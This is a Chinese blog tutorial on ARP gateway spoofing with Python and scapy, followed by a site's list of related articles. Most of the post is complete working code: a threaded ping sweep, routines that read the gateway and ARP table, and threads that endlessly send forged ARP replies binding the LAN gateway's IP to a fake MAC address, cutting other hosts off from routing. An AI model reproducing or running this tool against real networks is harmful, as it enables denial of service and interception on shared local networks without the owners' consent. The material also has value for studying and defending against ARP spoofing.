Python利用scapy实现ARP欺骗的方法


Posted in Python onJuly 23, 2019

一、实验原理。

本次用代码实现的是ARP网关欺骗,通过发送错误的网关映射关系导致局域网内其他主机无法正常路由。使用scapy中scapy.all模块的ARP、sendp、Ether等函数完成包的封装与发送。一个简单的ARP响应报文发送:

eth = Ether(src=src_mac, dst=dst_mac)#赋值src_mac时需要注意,参数为字符串类型
arp = ARP(hwsrc=src_mac, psrc=src_ip, hwdst=dst_mac, pdst=dst_ip, op=2)#src为源,dst为目标,op=2为响应报文、1为请求
pkt = eth / arp
endp(pkt)

因为实验时发现主机并不会记录来自网关的免费ARP报文,无奈只有先想办法把局域网内存在的主机的IP-MAC映射关系拿到手,再逐个发送定向的ARP响应报文。

二、运行结果。

<1>先查看网关,确保有网:

Python利用scapy实现ARP欺骗的方法

<2>因为socket需要sudo权限,所以以root权限跑起来:

Python利用scapy实现ARP欺骗的方法

<3>因为代码写的比较繁琐,跑起来就比现场的工具慢很多,最后看下局域网内主机的arp表:

Python利用scapy实现ARP欺骗的方法

网关172.16.0.254的MAC地址已经从00:05:66:00:29:69变成01:02:03:04:05:06,成功!

三、实现代码。

代码过程:加载网关->扫描局域网内主机->扫描完成->加载arp表->发送ARP响应报文。

如图,代码分为六个部分。其中的arpATC.py为主程序,pingScanner.py为主机扫描器,arpThread.py为扫描线程,atcThread.py为发包线程,gtwaySearch.py获取网关,macSearch.py读取本机arp表。

Python利用scapy实现ARP欺骗的方法

<1>pingScanner.py

通过os.popen函数调用ping,使用正则匹配返回字符串判断目标主机是否存在。

#!/usr/bin/python
'''
Using ping to scan
'''
import os
import re
import time
import thread
 
def host_scanner(ip):
  p = os.popen('ping -c 2 '+ip)
  string = p.read()
  pattern = 'Destination Host Unreachable'
  if re.search(pattern,string) is not None:
    print '[*]From '+ip+':Destination Host Unreachable!'+time.asctime( time.localtime(time.time()) )
    return False
  else:
    print '[-]From '+ip+':Recived 64 bytes!'+time.asctime( time.localtime(time.time()) )
    return True
 
if __name__=='__main__':
  print 'This script is only use as model,function:scanner(ip)!'

<2>macSearch.py

同样,调用os.popen函数带入参数'arp -a'查看本地缓存的arp表信息。通过正则表达式截取每个IP对应的MAC地址,保存在字典arp_table里并返回。

#!/usr/bin/python
'''
Using re to get arp table
arp -a
? (192.168.43.1) at c0:ee:fb:d1:cd:ce [ether] on wlp4s0
'''
import re
import os
import time
 
def getMac(ip_table=[],arp_table={}):
  #print '[-]Loading ARP table...'+time.asctime( time.localtime(time.time()) )
  p = os.popen('arp -a')
  string = p.read()
  string = string.split('\n')
  pattern = '(\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3})(.\s*at\s*)([a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2})'
  length = len(string)
  for i in range(length):
    if string[i] == '':
      continue
    result = re.search(pattern, string[i])
    if result is not None:
      ip = result.group(1)
      mac = result.group(3)
      arp_table[ip]=mac
      ip_table.append(ip)
    #else:
      #print '[*]macSearch.getMac:result is None'
  #print '[-]ARP table ready!'+'<->'+time.asctime( time.localtime(time.time()) )
  return (ip_table,arp_table)
 
if __name__=='__main__':
  table = getMac()
  ip_table = table[0]
  arp_table = table[1]
  for i in range(len(ip_table)):
    ip = ip_table[i]
    print '[-]'+ip+'<-is located on->'+arp_table[ip]

<3>gtwaySearch.py

通过使用正则截取os.popen('route -n')的返回值确定网关IP,把获取的网关IP与MAC当作元组返回。

#!/usr/bin/python
'''
'Kernel IP routing table\nDestination   Gateway     Genmask     Flags Metric Ref  Use Iface\n
0.0.0.0     172.16.0.254  0.0.0.0     UG  100  0    0 enp3s0f1\n
172.16.0.0   0.0.0.0     255.255.255.0  U   100  0    0 enp3s0f1\n'
'''
 
import re
import os
import time
from macSearch import *
 
def find_Gateway():
  p = os.popen('route -n')
  route_table = p.read()
  pattern = '(0\.0\.0\.0)(\s+)((\d+\.){1,3}(\d+))(\s+)(0\.0\.0\.0)'
  result = re.search(pattern, route_table)
  if result is not None:
    #print '[-]Gateway is located on:' + result.group(3)+'...'+time.asctime( time.localtime(time.time()) )
    table = getMac()
    ip = table[0][0]
    mac = table[1][ip]
    return (ip,mac)
  else:
    #print '[*]arpATC.find_Gateway:result is None!'
    #print '[*]Gateway is no found!'
    return
 
if __name__=='__main__':
  print '[-]Looking for Gateway...'+time.asctime( time.localtime(time.time()) )
  gateway = find_Gateway()
  if gateway is not None:
    print '[-]Gateway is located on:' + gateway[0]+'('+gateway[1]+')'+'...'+time.asctime( time.localtime(time.time()))
  else:
    print '[*]Gateway is no found!'+gateway[0]+time.asctime( time.localtime(time.time()) )

<4>arpThread.py

考虑到ping扫描主机时遇到不存在的主机会等待过长的时间,使用多线程扫描就稍微会快一点。这里是通过继承、重写run方法实现功能的。因为不太会控制多线程,所以这里写死了,是四个线程平分255个可能存在的主机。

#/usr/bin/python
 
import threading
import time
from gtwaySearch import *
from macSearch import *
from pingScaner import *
 
class arpThread(threading.Thread):
  def __init__(self,tag_ip,number):
    super(arpThread,self).__init__()
    self.tag_ip = tag_ip
    self.number = number
    self.status = False
 
  def run(self):
    add = 0
    if (self.number-1)==0:
      add = 1
    start = (self.number-1)*64 + add
    #1-63,64-127,128-191,192-256
    end = start + 64
    for i in range(start, end):
      if i < 255:
        host = self.tag_ip.split('.')
        host[3] = str(i)
        host = '.'.join(host)
        host_scanner(host)
    self.status=True
    print '[-]Status of Thread_%d is '%self.number+str(self.status)
 
    #print '[-]Scan completed!' + time.asctime(time.localtime(time.time()))

<5>atcThread.py

使用与arpThread.py中类似的方法继承、重写run方法实现多线程发包的功能。发包时源IP是指定的字符串“01:02:03:04:05:06”,源IP为获取的网关IP,目标IP和目标MAC皆为从本机arp表中获取的真实存在的主机IP与MAC。

#!/usr/bin/python
 
import threading
from scapy.all import ARP,Ether,sendp,fuzz,send
 
class atcThread(threading.Thread):
  def __init__(self,table,gtw_ip,gtw_mac):
    super(atcThread,self).__init__()
    self.table = table
    self.gtw_ip = gtw_ip
    self.gtw_mac = gtw_mac
 
  def run(self):
    ip_table = self.table[0]
    arp_table = self.table[1]
    while True:
      for i in range(len(ip_table)):
        tag_ip = ip_table[i]
        tag_mac = arp_table[tag_ip]
        eth = Ether(src=self.gtw_mac, dst=tag_mac)
        arp = ARP(hwsrc='01:02:03:04:05:06', psrc=self.gtw_ip, hwdst=tag_mac, pdst=tag_ip, op=2)
        pkt = eth / arp
        sendp(pkt)
 
        #pkt = eth/fuzz(arp)
        #send(pkt,loop=1)

<6>arpATC.py

代码的主程序,代码过程:

加载网关->扫描局域网内主机->扫描完成->加载arp表->发送ARP响应报文->等待。

(四线程) (四线程)

因为主程序是死循环,所以即便是攻击完成后也不会退出。可以在arpThread启动前加入for循环,这样就能无限发送了。

#!/usr/bin/python
'''
'''
import os
from gtwaySearch import *
from arpThread import arpThread
from atcThread import atcThread
 
def atc_WrongGTW(gtw):
  src_ip = gtw[0]
  src_mac = gtw[1]
  print '[-]Start scanning hosts...' + time.asctime(time.localtime(time.time()))
  arpThread_1 = arpThread(src_ip,1)
  arpThread_2 = arpThread(src_ip,2)
  arpThread_3 = arpThread(src_ip,3)
  arpThread_4 = arpThread(src_ip,4)
 
  arpThread_1.start()
  arpThread_2.start()
  arpThread_3.start()
  arpThread_4.start()
  t = False
  while(t==False):
    t = arpThread_1.status and arpThread_2.status and arpThread_3.status and arpThread_4.status
    time.sleep(5)
  table = getMac()
  print '[-]Scan completed!' + time.asctime(time.localtime(time.time()))
  flag = raw_input('[-]Ready to start attacking:(y/n)')
  while(True):
    if flag in ['y', 'Y', 'n', 'N']:
      break
    print "[*]Plz enter 'y' or 'n'!"
    flag = raw_input()
  if flag in ['n','N']:
    print '[*]Script stopped!'
  else:
    atcThread_1 = atcThread(table,src_ip,src_mac)
    atcThread_2 = atcThread(table,src_ip, src_mac)
    atcThread_3 = atcThread(table,src_ip, src_mac)
    atcThread_4 = atcThread(table,src_ip, src_mac)
    os.popen('arp -s %s %s'%(src_ip,src_mac))
    print '[-]'+'arp -s %s %s'%(src_ip,src_mac)
    print '[-]Strat attack...'
    atcThread_1.start()
    atcThread_2.start()
    atcThread_3.start()
    atcThread_4.start()
 
 
 
if __name__=='__main__':
  gateway = find_Gateway()
  if gateway is not None:
    atc_WrongGTW(gateway)
    while True:
      pass
  else:
    print "[*]Can't find Gateway!"

以上这篇Python利用scapy实现ARP欺骗的方法就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持三水点靠木。

Python 相关文章推荐
python类型强制转换long to int的代码
Feb 10 Python
python检测某个变量是否有定义的方法
May 20 Python
Python cookbook(数据结构与算法)将名称映射到序列元素中的方法
Mar 22 Python
使用Python读取安卓手机的屏幕分辨率方法
Mar 31 Python
Python模拟登录的多种方法(四种)
Jun 01 Python
opencv转换颜色空间更改图片背景
Aug 20 Python
python列表的逆序遍历实现
Apr 20 Python
Python 使用双重循环打印图形菱形操作
Aug 09 Python
Python调用飞书发送消息的示例
Nov 10 Python
python基于socket模拟实现ssh远程执行命令
Dec 05 Python
python使用opencv对图像添加噪声(高斯/椒盐/泊松/斑点)
Apr 06 Python
使用python将HTML转换为PDF pdfkit包(wkhtmltopdf) 的使用方法
Apr 21 Python
OpenCV3.0+Python3.6实现特定颜色的物体追踪
Jul 23 #Python
提升Python效率之使用循环机制代替递归函数
Jul 23 #Python
深入了解Django View(视图系统)
Jul 23 #Python
Python Opencv任意形状目标检测并绘制框图
Jul 23 #Python
flask框架单元测试原理与用法实例分析
Jul 23 #Python
Python3的高阶函数map,reduce,filter的示例详解
Jul 23 #Python
python实现socket+threading处理多连接的方法
Jul 23 #Python
You might like
php 无法载入mysql扩展
2010/03/12 PHP
php简单对象与数组的转换函数代码(php多层数组和对象的转换)
2011/05/18 PHP
ThinkPHP中limit()使用方法详解
2016/04/19 PHP
详解PHP的抽象类和抽象方法以及接口总结
2019/03/15 PHP
JS array 数组详解
2009/03/22 Javascript
jquery lazyload延迟加载技术的实现原理分析
2011/01/24 Javascript
js 弹出新页面避免被浏览器、ad拦截的一种新方法
2014/04/30 Javascript
再JavaScript的jQuery库中编写动画效果的指南
2015/08/13 Javascript
jQuery布局组件EasyUI Layout使用方法详解
2017/02/28 Javascript
完美实现js焦点轮播效果(二)(图片可滚动)
2017/03/07 Javascript
基于JavaScript实现简单的音频播放功能
2018/01/07 Javascript
在vue中通过axios异步使用echarts的方法
2018/01/13 Javascript
原生js无缝轮播插件使用详解
2020/03/09 Javascript
如何在postman测试用例中实现断言过程解析
2020/07/09 Javascript
vue中父子组件传值,解决钩子函数mounted只运行一次的操作
2020/07/27 Javascript
[02:05]DOTA2完美大师赛趣味视频之看我表演
2017/11/18 DOTA
[15:20]DOTA2-DPC中国联赛 正赛 Elephant vs Aster 选手采访
2021/03/11 DOTA
Python编程中的文件操作攻略
2015/10/16 Python
Python装饰器基础详解
2016/03/09 Python
Python 安装setuptools和pip工具操作方法(必看)
2017/05/22 Python
Python使用剪切板的方法
2017/06/06 Python
Python实现的求解最小公倍数算法示例
2018/05/03 Python
查看django执行的sql语句及消耗时间的两种方法
2018/05/29 Python
Python简易版图书管理系统
2019/08/12 Python
tensorflow/core/platform/cpu_feature_guard.cc:140] Your CPU supports instructions that this T
2020/06/22 Python
世界知名接发和假发品牌:Poze Hair
2017/03/08 全球购物
英国殿堂级有机护肤品牌:Rodial
2017/04/17 全球购物
N.Peal官网:来自伦敦的高档羊绒品牌
2018/10/29 全球购物
欧舒丹俄罗斯官方网站:L’OCCITANE俄罗斯
2019/11/22 全球购物
解释一下抽象方法和抽象类
2016/08/27 面试题
超市采购员岗位职责
2014/02/01 职场文书
电信营业员岗位职责
2015/04/14 职场文书
上课讲话检讨书范文
2015/05/07 职场文书
Spring mvc是如何实现与数据库的前后端的连接操作的?
2021/06/30 Java/Android
Python常用配置文件ini、json、yaml读写总结
2021/07/09 Python
GPU服务器的多用户配置方法
2022/07/07 Servers